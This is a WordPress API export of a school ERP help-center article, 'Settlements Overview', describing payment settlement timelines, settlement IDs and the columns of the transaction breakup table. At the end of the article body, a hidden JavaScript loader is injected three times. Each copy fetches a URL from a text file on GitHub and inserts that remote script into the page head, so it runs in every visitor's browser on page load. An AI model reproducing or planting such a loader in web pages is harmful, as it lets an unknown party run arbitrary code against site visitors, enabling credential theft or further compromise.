{"id":2148,"date":"2019-11-08T13:21:26","date_gmt":"2019-11-08T07:51:26","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=2148"},"modified":"2024-12-23T08:57:55","modified_gmt":"2024-12-23T03:27:55","slug":"settlements-overview","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/settlements-overview\/","title":{"rendered":"Settlements Overview"},"content":{"rendered":"<ol class=\"help-text\">\n<li class=\"ng-binding\">Settlement of the transactions happens in T+3 bank working days as per the agreement between the service provider and the School. All the international transactions will be settled in T+7 Bank working days.\n<\/li>\n<li class=\"ng-binding\">All the settlements initiated by the payment service provider can be checked in this screen including the Settlement date, Settlement ID (Unique), no of payment &amp; refund transactions to be settled as part of the settlement batch, no of transfer &amp; reversal transactions to be settled as part of the settlement batch and the total amount to be settled in the batch.\n<\/li>\n<li class=\"ng-binding\">A user can see the breakup of the transactions that are going to be settled by clicking on Settlement ID.<\/li>\n<li class=\"ng-binding\">Details of all the payments, refund, transfer, the reversal can be seen inside, in the breakup.\n<\/li>\n<li class=\"ng-binding\">If a user wants to see more details on the individual transactions, they can do so by clicking on the Transaction ID.\n<\/li>\n<li class=\"ng-binding\">Following details are available after clicking on Settlement ID:\n<ol class=\"pl-20\" type=\"a\">\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI7\"><strong>Settlement Amount\u00a0<\/strong>= (Payment + Reversal) &#8211; (Refund + Transfer)<\/li>\n<\/ol>\n<\/li>\n<li class=\"ng-binding\">Details of the table columns after clicking on Settlement ID:\n<ol class=\"pl-20\" type=\"a\">\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI9\"><strong>Transaction Id:<\/strong> Transaction ID is the unique ID for the transaction.<\/li>\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI10\"><strong>Transaction Type:<\/strong> This gives details on the type of transaction, be it payment, refund, transfer or reversal.<\/li>\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI10\"><strong>Transaction Response Date:<\/strong> It gives the date on which the last response was received from the payment service provider.<\/li>\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI12\"><strong>Debit:<\/strong> If the transaction type is Refund or Transfer, it will come in this field.<\/li>\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI13\"><strong>Credit:<\/strong> If the transaction type is Payment or Reversal, it will come in this field.<\/li>\n<li class=\"ng-scope\" translate=\"SETTLEMENT_INFO_MODEL.SMI14\"><strong>Settlement Status:<\/strong> It gives the detail on the status of the settlement, whether Successful or Failed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Settlement of the transactions happens in T+3 bank working days as per the agreement between the service provider and the School. All the international transactions will be settled in T+7 Bank working days. All the settlements initiated by the payment service provider can be checked in this screen including the Settlement date, Settlement ID (Unique), &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/settlements-overview\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Settlements Overview&#8221;<\/span><\/a><\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[448],"tags":[449],"post_folder":[],"class_list":["post-2148","post","type-post","status-publish","format-standard","hentry","category-settlements","tag-settlements"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2148","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=2148"}],"version-history":[{"count":4,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2148\/revisions"}],"predecessor-version":[{"id":9235,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/2148\/revisions\/9235"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=2148"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=2148"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=2148"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=2148"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}